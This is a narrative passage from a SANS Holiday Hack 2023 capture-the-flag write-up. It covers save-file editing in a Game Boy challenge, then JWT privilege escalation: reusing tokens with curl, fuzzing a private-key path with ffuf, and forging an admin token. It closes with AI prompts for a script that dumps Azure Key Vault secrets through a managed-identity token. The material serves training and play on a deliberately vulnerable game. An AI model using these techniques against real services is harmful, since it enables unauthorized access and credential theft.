As before, you download the game.gb ROM from the challenge via mitmproxy. This time, however, loading it into VBA, you are transported to an even simpler time where everything was Black and White.

You press “z” on the title screen, “z” again on the start screen and “z” a third time to start a New Game. You don’t even bat an eyelid at the ChatNPT Three popping up once again here.

Similar to the second Game Boy cartridge, you start in an antechamber and there is yet more dialogue explaining how to save and load a game from this screen. Upon exiting south, you find yourself on a screen with Three gravity defying coins. “Of course it’s Three!”, you exclaim.

Collecting each coin by jumping into it with the x key, you ascertain their effect on the integer decimal coin total shown in the bottom left of the screen.

The left most coin you pick up affects the “ones” place, the middle one affects the “tens” place and the last one affects the “hundreds” place. Furthermore, each time you go back to the antechamber and return, the coins re-spawn.

You tediously set about repeatedly collecting the coins until you reach 998. At this point you save via Ctrl+s, which uses the VBA native save format, creating files with a .sgm extension.

When you collect the next “ones” coin, the result wraps around to 001. You speculate the goal of the challenge might be to reach a total of 999 coins.

You load your previous save of 998 coins via the Ctrl+l short cut and proceed to travel through successive screens to the right. Along the way are many ghost like creatures you have to jump on to destroy. They are quite annoying so you save scum like there is no tomorrow and the Ctrl+s and Ctrl+l keys get a solid workout.

Eventually you meet Jared, who drops a big hint that the goal is indeed to acquire 999 coins: “Back in my SysAdmin days marketing always loved talking about [5] nines. But we all know it was more like [3] nines.” The preponderance of Threes in this challenge is starting to make your head ache.

Eventually you arrive at a chasm carrying your hard earned booty. You make extra sure you save your game, then take a virtual leap of faith … only to be reset to the first coin screen. You thus conclude your first goal is to find a way to acquire 999 coins, then reattempt the leap of faith.

You decide to apply the same technique from Game Cartridges: Vol 2 in order to determine what byte in the save file affects the “ones” digit of the coins total.

You start a new game by opening the original game.gb ROM, enter the first coins screen and save a game. You then collect a single “ones” coin, resulting in a total of 001, and save a game.

For each save, you end up using the in game save, as binary differences between them appear to be fewer than the Visual Boy Advance saves, even after decompressing the VBA saves files from their native gzip compression. You end up with two save files:

To generate new saves containing only a single change at a time from the second save into the first, you use the same Bard generated game_version_creator.sh script you used for Vol 2 but with a slight modification to ensure the output files have a .sav extension instead of a .gb extension:

 34c34
 <     mv "diff_${diff_count}.bin" "game_diff_${diff_count}.gb"
 ---
 >     mv "diff_${diff_count}.bin" "game_diff_${diff_count}.sav"

Running the script, you end up with 21 save file candidates.

$ ../game_version_creator.sh ../game-start-after-enter-door-000.sav ../game-start-after-enter-door-001.sav
$ ls -1 game_diff_*
game_diff_10.sav
game_diff_11.sav
game_diff_12.sav
game_diff_13.sav
game_diff_14.sav
game_diff_15.sav
game_diff_16.sav
game_diff_17.sav
game_diff_18.sav
game_diff_19.sav
game_diff_1.sav
game_diff_20.sav
game_diff_21.sav
game_diff_2.sav
game_diff_3.sav
game_diff_4.sav
game_diff_5.sav
game_diff_6.sav
game_diff_7.sav
game_diff_8.sav
game_diff_9.sav

You test out each successive save candidate using the following procedure:

Just like with Vol 2, it is the 6th change (game_diff_6) that results in your coin total being 001. You compare the save games and print the 6th difference, which indicates the byte offset is decimal 41 and the byte value of octal 55 corresponds to a single coin in the “ones” place:

$ cmp -l ../game-start-after-enter-door-000.sav ../game-start-after-enter-door-001.sav |head -6 |tail -1
   41 307  55

In a Python session, you translate the decimal offset of 41 to hex, resulting in an offset of 0x29:

>>> hex(41)
'0x29'

You also translate the octal 55 byte value to a decimal value of 45 and a hex value of 0x2d. Clearly there is a number system being used here to represent the coins which is … unclear.

>>> int("55", 8)
45
>>> hex(int("55", 8))
'0x2d'

To determine what byte value would be required for a 9 in the “ones” place, you collect enough coins in the game to produce a coin total of 009. You then save the game and inspect the same byte offset as above:

$ cmp -l game-start-after-enter-door-000.sav game-start-after-enter-door-009.sav|head -6 |tail -1
    41 307 376

Again, Python is used to translate the octal 376 byte value into decimal 254 and hex 0xfe. This is the target byte value you need to set in the save game that has 998 coins in order to achieve a total of 999 coins.

>>> int("376", 8)
254
>>> hex(int("376", 8))
'0xfe'

You load up the save where you had 998 coins just before taking the leap of faith. Since this was saved using the VBA native save format, you take the leap again and are reset to the first coin screen. You enter the door to the antechamber and save the game using the in game save.

You open the save game in vbindiff and modify byte offset 0x29 to 0xFE, then save the file.

$ vbindiff game.sav

You then load the save game using the same procedure as before and find that you now have a total of 999 coins.

You proceed through the screens again, save scumming as you go, until you encounter the leap of faith but this time when you leap into it, you end up on the other side.

You keep going until you reach a special room containing a heavy rock which cannot be moved by mere mortals, a grumpy old man and … ChatNPT!. Just like with Vol 2, ChatNPT is being brazen and openly appearing.

The grumpy old man turns out to be none other than Tom Liston, who provides you with a passphrase.

You then chat to ChatNPT, who grants you super powers via an innocent looking variable.

You move the rock and receive both Tom Liston’s adulation and a flag.

You submit the flag !tom+elf! and complete the objective.

Yet another achievement bytes the bits.

The Captain’s Comms - Brass Buoy port - Steampunk Island

Whilst you’re on Steampunk Island, you decide to tackle The Captain’s Comms challenge over in Brass Buoy Port that was unlocked after you Hunted the Elf. It’s a five tree challenge but it would be good to at least find out what it entails before getting back to other matters. Forewarned is forearmed and you have two of them so you’re doubly forearmed.

You locate Chimney Scissorsticks to the south east of Bow Ninecandle. You’re not sure how you missed them before, but you suspect it’s because you were scurrying away from Bow Ninecandle and their supposed impending lavatory emergency. You note once again that Bow Ninecandle seems to be in the exact same place you left them before. You narrow your eyes suspiciously at them from across the pier as you head for Chimney Scissorsticks.

Chimney Scissorsticks wants you to find a way to use the ‘Just Watch This’ Software Defined Radio (SDR) in order to intercept the communications of some off-shore troublemakers and determine their planned “go-date”, “go-time”, and radio frequency. You then need to forge an administrative token in order to transmit a new ‘go-time’, four hours earlier than the planned time, so the island authorities can spring a trap for them. You are shouted some hints that you will need to AUTHORIZE as a different ROLE before you can use some items. You make a mental note to have your hearing checked after you depart the Geese Islands.

Within the shack proper, you note there are a lot of items to interact with and you lament that this will take some time. You’re not sure why The Captain can’t just do this task themselves. It all sounds quite shady and you wonder if Chimney Scissorsticks, just like Bow Ninecandle, is up to no good.

Nevertheless, being the helpful soul you are, you decide to play along. You start to explore the items available, essentially mapping the application.

You click on the Captain’s SDR first, only to be slammed with a warning sign proclaiming you are unauthorized - only radioMonitor users are permitted.

You note in mitmproxy that an HTTP GET request was made to https://captainscomms.com/checkRole when you clicked the Captain’s SDR and that the request contains a bearer token in the Authorization header:

In your Kali VM, you decode the bearer token and discover your current role is radioUser.

$ echo -n 'eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6InJhZGlvVXNlciJ9.BGxJLMZw-FHI9NRl1xt_f25EEnFcAYYu173iqf-6dgoa_X3V7SAe8scBbARyusKq2kEbL2VJ3T6e7rAVxy5Eflr2XFMM5M-Wk6Hqq1lPvkYPfL5aaJaOar3YFZNhe_0xXQ__k__oSKN1yjxZJ1WvbGuJ0noHMm_qhSXomv4_9fuqBUg1t1PmYlRFN3fNIXh3K6JEi5CvNmDWwYUqhStwQ29SM5zaeLHJzmQ1Ey0T1GG-CsQo9XnjIgXtf9x6dAC00LYXe1AMly4xJM9DfcZY_KjfP-viyI7WYL0IJ_UOtIMMN0u-XO8Q_F3VO0NyRIhZPfmALOM2Liyqn6qYTjLnkg' |jwt -show -
Header:
{
    "alg": "RS256",
    "typ": "JWT"
}
Claims:
{
    "aud": "Holiday Hack 2023",
    "exp": 1809937395.3403327,
    "iat": 1699485795.3403327,
    "iss": "HHC 2023 Captain's Comms",
    "role": "radioUser"
}

You continue exploring the shack, starting with the Owner’s Manual Volume I, which shouts more hints at you. There are four JWT roles:

You continue to the Owner’s Manual Volume II. The first page pretty much recaps Volume I - it seems like a gratuitous way of shouting more - but the second page provides a fresh hint: the JWT signing key can be found in a FOLDER. Obtaining the private KEY will allow forging of tokens.

The third volume on the shelf is an Appendix describing how to decode signals. The radioDecoder ROLE will permit automatic decoding of signals simply by clicking on signal peaks. The SDR includes decoders for:

You move on to checking out the piles of paper in front of the SDR. The left most one turns out to be an Owner’s Card which spells out more clues for a couple of the roles:

The middle pile of paper transpires to be the Captain’s To-do List. It doesn’t reveal much other than essentially pointing to the real To-do list somewhere in the shack and re-iterating the importance of The Captain’s Journal.

You find the Captain’s ChatNPT Initial To-Do List right next to the other one so you can only wonder that the Captain couldn’t find it themselves. This list contains some key clues about:

With such a cavalcade of clues clamoring to be confirmed, you first try to open https://captainscomms.com/jwtDefault/rMonitor.tok in your browser, only to be countered with an “Invalid authorization token provided” response.

You then try to retrieve rMonitor.tok using curl with the Authorization header previously observed, which results in the token being successfully retrieved:

$ curl -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6InJhZGlvVXNlciJ9.BGxJLMZw-FHI9NRl1xt_f25EEnFcAYYu173iqf-6dgoa_X3V7SAe8scBbARyusKq2kEbL2VJ3T6e7rAVxy5Eflr2XFMM5M-Wk6Hqq1lPvkYPfL5aaJaOar3YFZNhe_0xXQ__k__oSKN1yjxZJ1WvbGuJ0noHMm_qhSXomv4_9fuqBUg1t1PmYlRFN3fNIXh3K6JEi5CvNmDWwYUqhStwQ29SM5zaeLHJzmQ1Ey0T1GG-CsQo9XnjIgXtf9x6dAC00LYXe1AMly4xJM9DfcZY_KjfP-viyI7WYL0IJ_UOtIMMN0u-XO8Q_F3VO0NyRIhZPfmALOM2Liyqn6qYTjLnkg' -x 127.0.0.1:8080 -k https://captainscomms.com/jwtDefault/rMonitor.tok

eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6InJhZGlvTW9uaXRvciJ9.f_z24CMLim2JDKf8KP_PsJmMg3l_V9OzEwK1E_IBE9rrIGRVBZjqGpvTqAQQSesJD82LhK2h8dCcvUcF7awiAPpgZpcfM5jdkXR7DAKzaHAV0OwTRS6x_Uuo6tqGMu4XZVjGzTvba-eMGTHXyfekvtZr8uLLhvNxoarCrDLiwZ_cKLViRojGuRIhGAQCpumw6NTyLuUYovy_iymNfe7pqsXQNL_iyoUwWxfWcfwch7eGmf2mBrdEiTB6LZJ1ar0FONfrLGX19TV25Qy8auNWQIn6jczWM9WcZbuOIfOvlvKhyVWbPdAK3zB7OOm-DbWm1aFNYKr6JIRDLobPfiqhKg

You confirm the token has the radioMonitor role:

$ echo -n 'eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6InJhZGlvTW9uaXRvciJ9.f_z24CMLim2JDKf8KP_PsJmMg3l_V9OzEwK1E_IBE9rrIGRVBZjqGpvTqAQQSesJD82LhK2h8dCcvUcF7awiAPpgZpcfM5jdkXR7DAKzaHAV0OwTRS6x_Uuo6tqGMu4XZVjGzTvba-eMGTHXyfekvtZr8uLLhvNxoarCrDLiwZ_cKLViRojGuRIhGAQCpumw6NTyLuUYovy_iymNfe7pqsXQNL_iyoUwWxfWcfwch7eGmf2mBrdEiTB6LZJ1ar0FONfrLGX19TV25Qy8auNWQIn6jczWM9WcZbuOIfOvlvKhyVWbPdAK3zB7OOm-DbWm1aFNYKr6JIRDLobPfiqhKg' |jwt -show -
Header:
{
    "alg": "RS256",
    "typ": "JWT"
}
Claims:
{
    "aud": "Holiday Hack 2023",
    "exp": 1809937395.3403327,
    "iat": 1699485795.3403327,
    "iss": "HHC 2023 Captain's Comms",
    "role": "radioMonitor"
}

Conscious the clues indicate the radioDecoder role is required to actually decode signals, you try to apply the same technique to retrieve https://captainscomms.com/jwtDefault/rDecoder.tok. However, this only results in an Invalid authorization token provided response.

$ curl -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6InJhZGlvVXNlciJ9.BGxJLMZw-FHI9NRl1xt_f25EEnFcAYYu173iqf-6dgoa_X3V7SAe8scBbARyusKq2kEbL2VJ3T6e7rAVxy5Eflr2XFMM5M-Wk6Hqq1lPvkYPfL5aaJaOar3YFZNhe_0xXQ__k__oSKN1yjxZJ1WvbGuJ0noHMm_qhSXomv4_9fuqBUg1t1PmYlRFN3fNIXh3K6JEi5CvNmDWwYUqhStwQ29SM5zaeLHJzmQ1Ey0T1GG-CsQo9XnjIgXtf9x6dAC00LYXe1AMly4xJM9DfcZY_KjfP-viyI7WYL0IJ_UOtIMMN0u-XO8Q_F3VO0NyRIhZPfmALOM2Liyqn6qYTjLnkg' -x 127.0.0.1:8080 -k https://captainscomms.com/jwtDefault/rDecoder.tok

Invalid authorization token provided.

Next, you try to retrieve rDecoder.tok whilst authorized with the rMonitor.tok token. This works:

$ curl -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6InJhZGlvTW9uaXRvciJ9.f_z24CMLim2JDKf8KP_PsJmMg3l_V9OzEwK1E_IBE9rrIGRVBZjqGpvTqAQQSesJD82LhK2h8dCcvUcF7awiAPpgZpcfM5jdkXR7DAKzaHAV0OwTRS6x_Uuo6tqGMu4XZVjGzTvba-eMGTHXyfekvtZr8uLLhvNxoarCrDLiwZ_cKLViRojGuRIhGAQCpumw6NTyLuUYovy_iymNfe7pqsXQNL_iyoUwWxfWcfwch7eGmf2mBrdEiTB6LZJ1ar0FONfrLGX19TV25Qy8auNWQIn6jczWM9WcZbuOIfOvlvKhyVWbPdAK3zB7OOm-DbWm1aFNYKr6JIRDLobPfiqhKg' -x 127.0.0.1:8080 -k https://captainscomms.com/jwtDefault/rDecoder.tok

eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6InJhZGlvRGVjb2RlciJ9.cnNu6EjIDBrq8PbMlQNF7GzTqtOOLO0Q2zAKBRuza9bHMZGFx0pOmeCy2Ltv7NUPv1yT9NZ-WapQ1-GNcw011Ssbxz0yQO3Mh2Tt3rS65dmb5cmYIZc0pol-imtclWh5s1OTGUtqSjbeeZ2QAMUFx3Ad93gR20pKpjmoeG_Iec4JHLTJVEksogowOouGyDxNAagIICSpe61F3MY1qTibOLSbq3UVfiIJS4XvGJwqbYfLdbhc-FvHWBUbHhAzIgTIyx6kfONOH9JBo2RRQKvN-0K37aJRTqbq99mS4P9PEVs0-YIIufUxJGIW0TdMNuVO3or6bIeVH6CjexIl14w6fg

You confirm the token has the radioDecoder role:

$ echo -n 'eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6InJhZGlvRGVjb2RlciJ9.cnNu6EjIDBrq8PbMlQNF7GzTqtOOLO0Q2zAKBRuza9bHMZGFx0pOmeCy2Ltv7NUPv1yT9NZ-WapQ1-GNcw011Ssbxz0yQO3Mh2Tt3rS65dmb5cmYIZc0pol-imtclWh5s1OTGUtqSjbeeZ2QAMUFx3Ad93gR20pKpjmoeG_Iec4JHLTJVEksogowOouGyDxNAagIICSpe61F3MY1qTibOLSbq3UVfiIJS4XvGJwqbYfLdbhc-FvHWBUbHhAzIgTIyx6kfONOH9JBo2RRQKvN-0K37aJRTqbq99mS4P9PEVs0-YIIufUxJGIW0TdMNuVO3or6bIeVH6CjexIl14w6fg' |jwt -show -

Header:
{
    "alg": "RS256",
    "typ": "JWT"
}
Claims:
{
    "aud": "Holiday Hack 2023",
    "exp": 1809937395.3403327,
    "iat": 1699485795.3403327,
    "iss": "HHC 2023 Captain's Comms",
    "role": "radioDecoder"
}

In the browser, you set the justWatchThisRole cookie to the radioDecoder token.

You then click the Captain’s SDR and click the first peak from the left in the waterfall display. This results in downloading https://captainscomms.com/static/images/dcdCW.mp4, the final frame of which indicates the private key is stored in a folder TH3CAPSPR1V4T3F0LD3R.

You click on the second peak from the left, which results in downloading https://captainscomms.com/static/images/dcdNUM.mp4. The final frame in this video presents a sequence of numbers:

{music} {music} {music} 88323 88323 88323 {gong} {gong} {gong} {gong} {gong} {gong} 12249 12249 16009 16009 12249 12249 16009 16009 {gong} {gong} {gong} {gong} {gong} {gong} {music} {music} {music}

From https://www.numbers-stations.com/english/e03-the-lincolnshire-poacher/ you interpret the cluster of three 88323 numbers as a preamble that can be ignored. The rest of the numbers are the message. Each five digit group ends in a 9, which you conclude can be ignored. The remaining numbers are potentially the “go-date” and “go-time” you are seeking:

The third peak from the left is auto-decoded to a well wishing message from SANS and cannot be interacted with further so you move on to the last peak. Clicking this results in https://captainscomms.com/static/images/dcdFX.mp4 being downloaded. The final frame of this mp4 displays a map of the Geese Islands with a radio frequency of 10426 Hz displayed. This must be the radio frequency of the miscreants.

You now have the key details you need to transmit:

However, you don’t yet have a way to assume the special admin role that will allow you to use the transmitter. For this, you need the private key. You first confirm you can retrieve the public key from https://captainscomms.com/jwtDefault/keys/capsPubKey.key using the radioDecoder role:

$ curl -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6InJhZGlvTW9uaXRvciJ9.f_z24CMLim2JDKf8KP_PsJmMg3l_V9OzEwK1E_IBE9rrIGRVBZjqGpvTqAQQSesJD82LhK2h8dCcvUcF7awiAPpgZpcfM5jdkXR7DAKzaHAV0OwTRS6x_Uuo6tqGMu4XZVjGzTvba-eMGTHXyfekvtZr8uLLhvNxoarCrDLiwZ_cKLViRojGuRIhGAQCpumw6NTyLuUYovy_iymNfe7pqsXQNL_iyoUwWxfWcfwch7eGmf2mBrdEiTB6LZJ1ar0FONfrLGX19TV25Qy8auNWQIn6jczWM9WcZbuOIfOvlvKhyVWbPdAK3zB7OOm-DbWm1aFNYKr6JIRDLobPfiqhKg' -x 127.0.0.1:8080 -k https://captainscomms.com/jwtDefault/keys/capsPubKey.key
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsJZuLJVB4EftUOQN1Auw
VzJyr1Ma4xFo6EsEzrkprnQcdgwz2iMM76IEiH8FlgKZG1U0RU4N3suI24NJsb5w
J327IYXAuOLBLzIN65nQhJ9wBPR7Wd4Eoo2wJP2m2HKwkW5Yadj6T2YgwZLmod3q
n6JlhN03DOk1biNuLDyWao+MPmg2RcxDR2PRnfBartzw0HPB1yC2Sp33eDGkpIXa
cx/lGVHFVxE1ptXP+asOAzK1wEezyDjyUxZcMMmV0VibzeXbxsXYvV3knScr2WYO
qZ5ssa4Rah9sWnm0CKG638/lVD9kwbvcO2lMlUeTp7vwOTXEGyadpB0WsuIKuPH6
uQIDAQAB
-----END PUBLIC KEY-----

Based on the clues and the decoded transmissions, you conclude that the private key is somewhere under https://captainscomms.com/jwtDefault/keys/TH3CAPSPR1V4T3F0LD3R/ but you don’t know what it is called. You do, however, know the Captain has an affinity for abbreviations so you decide to ask Bard to generate a wordlist for you.

I need you to write a python script that:

  1. defines variables: captainPrefix=‘caps’ keyType=‘Private’ keySuffix=‘Key’ keyExtension=‘key’
  2. uses the variables to produce a sequence of all possible combinations of concatenating captainPrefix + keyType + keySuffix + “.” + keyExtension, where each component can be abbreviated from 1 character to the full length of the component. Make sure you include a ’.” before extension.
  3. prints the sequence created to stdout, one value per line
 import itertools

 # Define variables
 captainPrefix = 'caps'
 keyType = 'Private'                                                                                                                                                                                                                         keySuffix = 'Key'                                                                                                                                                                                                                           keyExtension = 'key'
 # Generate all possible combinations of filenames, separating extension with "."
 combinations = itertools.product(
     *[range(1, len(component) + 1) for component in [captainPrefix, keyType, keySuffix]]
 )
 keyFileNames = [
     ''.join([component[:length] for component, length in zip([captainPrefix, keyType, keySuffix], combo)])
     + "." + keyExtension[:length]
     for combo in combinations
     for length in range(1, len(keyExtension) + 1)                                                                                                                                                                                           ]

 # Print the generated sequence to stdout, one value per line
 for keyFileName in keyFileNames:
     print(keyFileName)

Bard’s coding efficiency conquers this time and you don’t even need to modify the script. You generate the wordlist into key.words and preview the first and last 10 lines. It looks about right.

$ python3 create_priv_key_wordlist.py|tee key.words|head && echo "..." && cat key.words |tail
cPK.k
cPK.ke
cPK.key
cPKe.k
cPKe.ke
cPKe.key
cPKey.k
cPKey.ke
cPKey.key
cPrK.k
...
capsPrivatKey.key
capsPrivateK.k
capsPrivateK.ke
capsPrivateK.key
capsPrivateKe.k
capsPrivateKe.ke
capsPrivateKe.key
capsPrivateKey.k
capsPrivateKey.ke
capsPrivateKey.key

You run ffuf with the radioDecoder bearer token and the wordlist in order to fuzz for files matching the https://captainscomms.com/jwtDefault/keys/TH3CAPSPR1V4T3F0LD3R/FUZZ pattern. You carefully ensure:

ffuf comes through with the goods and nets you the private key located at https://captainscomms.com/jwtDefault/keys/TH3CAPSPR1V4T3F0LD3R/capsPrivKey.key. In mitmproxy, you export the private key to a file.

$ ffuf -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6InJhZGlvRGVjb2RlciJ9.cnNu6EjIDBrq8PbMlQNF7GzTqtOOLO0Q2zAKBRuza9bHMZGFx0pOmeCy2Ltv7NUPv1yT9NZ-WapQ1-GNcw011Ssbxz0yQO3Mh2Tt3rS65dmb5cmYIZc0pol-imtclWh5s1OTGUtqSjbeeZ2QAMUFx3Ad93gR20pKpjmoeG_Iec4JHLTJVEksogowOouGyDxNAagIICSpe61F3MY1qTibOLSbq3UVfiIJS4XvGJwqbYfLdbhc-FvHWBUbHhAzIgTIyx6kfONOH9JBo2RRQKvN-0K37aJRTqbq99mS4P9PEVs0-YIIufUxJGIW0TdMNuVO3or6bIeVH6CjexIl14w6fg' -x http://127.0.0.1:8080 -t 1 -u https://captainscomms.com/jwtDefault/keys/TH3CAPSPR1V4T3F0LD3R/FUZZ -w key.words -fs 88475


        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : https://captainscomms.com/jwtDefault/keys/TH3CAPSPR1V4T3F0LD3R/FUZZ
 :: Wordlist         : FUZZ: /mnt/hgfs/hhc/objectives/steampunk-island/brass-buoy-port/the-captains-comms/priv_key_locator/ffuf/key.words
 :: Header           : Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6InJhZGlvRGVjb2RlciJ9.cnNu6EjIDBrq8PbMlQNF7GzTqtOOLO0Q2zAKBRuza9bHMZGFx0pOmeCy2Ltv7NUPv1yT9NZ-WapQ1-GNcw011Ssbxz0yQO3Mh2Tt3rS65dmb5cmYIZc0pol-imtclWh5s1OTGUtqSjbeeZ2QAMUFx3Ad93gR20pKpjmoeG_Iec4JHLTJVEksogowOouGyDxNAagIICSpe61F3MY1qTibOLSbq3UVfiIJS4XvGJwqbYfLdbhc-FvHWBUbHhAzIgTIyx6kfONOH9JBo2RRQKvN-0K37aJRTqbq99mS4P9PEVs0-YIIufUxJGIW0TdMNuVO3or6bIeVH6CjexIl14w6fg
 :: Follow redirects : false
 :: Calibration      : false
 :: Proxy            : http://127.0.0.1:8080
 :: Timeout          : 10
 :: Threads          : 1
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 88475
________________________________________________

capsPrivKey.key         [Status: 200, Size: 1704, Words: 5, Lines: 29, Duration: 249ms]
:: Progress: [253/253] :: Job [1/1] :: 2 req/sec :: Duration: [0:01:51] :: Errors: 0 ::

As the challenges don’t contain sensitive information you use the UI at https://jwt.io/ to forge a JWT with the GeeseIslandsSuperChiefCommunicationsOfficer role.

This results in the JWT:

eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6IkdlZXNlSXNsYW5kc1N1cGVyQ2hpZWZDb21tdW5pY2F0aW9uc09mZmljZXIifQ.N-8MdT6yPFge7zERpm4VdLdVLMyYcY_Wza1TADoGKK5_85Y5ua59z2Ke0TTyQPa14Z7_Su5CpHZMoxThIEHUWqMzZ8MceUmNGzzIsML7iFQElSsLmBMytHcm9-qzL0Bqb5MeqoHZYTxN0vYG7WaGihYDTB7OxkoO_r4uPSQC8swFJjfazecCqIvl4T5i08p5Ur180GxgEaB-o4fpg_OgReD91ThJXPt7wZd9xMoQjSuPqTPiYrP5o-aaQMcNhSkMix_RX1UGrU-2sBlL01FxI7SjxPYu4eQbACvuK6G2wyuvaQIclGB2Qh3P7rAOTpksZSex9RjtKOiLMCafTyfFng

In the browser, you once again replace the justWatchThisRole cookie but this time using the above JWT. You click on the transmitter, enter the following details and click the orange/red bulb to transmit:

The miscreants are successfully lured to shore and apprehended. They appear to be rabbits? Perhaps they intended to replace Christmas with Easter?

You achieve the objective and the achievement!

You bounce around like a bunny.

Active Directory - Coggoggle Marina - Steampunk Island

You got a bit side tracked after Pixel island so you take stock of what you’ve achieved and what’s next. Jewel Loggins assured you that Ribb Bonbowford would provide a clue for the Space Island Door Access Speaker but Ribb Bonbowford was too worried about Alabaster Snowball that they wouldn’t talk about anything else. You decide to pay them another visit.

Your first impression on returning to Ribb Bonbowford is not positive. They greet you as if you’ve never met before (!) but then you’re reminded of how AI sometimes forgets prior context. You must be in the presence of great intelligence and look at Ribb Bonbowford with renewed reverence.

Although Ribb Bonbowford is still fixated on Alabaster Snowball and now needs help in auditing the Active Directory environment, they do drop a clue that you might find information there from Wombley Cube’s research department - maybe something that will help you unlock the Space Island Door Access Speaker?

You know from Certificate SShenanigans that you have ssh access to ssh-server-vm.santaworkshopgeeseislands.org and from there you can access the Azure REST API. It is quite possible you can find something in the Azure REST API which is exploitable but where to start? The API is huge.

You recall from Reportinator the finding “5. Azure Key Vault-Overly Permissive Access from Azure Virtual Machine Metadata Service/Managed Identity”. Perhaps there’s sensitive data in the vault? Exploring the Azure Key Vault REST API reference takes a bit of effort, whereas you want a Bingo result so you turn to Bing, which is 80% of Bingo. It turns out that missing 20% is important, as Bing needs a few iterated prompts to produce something usable. Actually, this was the case with Bard and ChatGPT too but you simply omitted this fact before for brevity. However, now you are running out of time to complete the report and it looks like you will have a few pages to spare so you proceed with reckless abandon.

write a python script that:

  1. uses the azure instance metadata endpoint to obtain an access token
  2. uses the access token to make requests to the azure rest API to print all key vaults and their contents.
  3. handle errors gracefully and continue with the next request. For example, if permission is denied to get a vault, continue with the next vault.

that script uses the same vault.azure.net access token to access both vault.azure.net and management.azure.com. Can you fix it so that it gets separate tokens for vault.azure.net and management.azure.com?

can you update the code to use the 2022-07-01 API version to list key vaults and the 7.4 API version to get the contents of each vault?

can you update the script so that for each secret found it gets the secret?

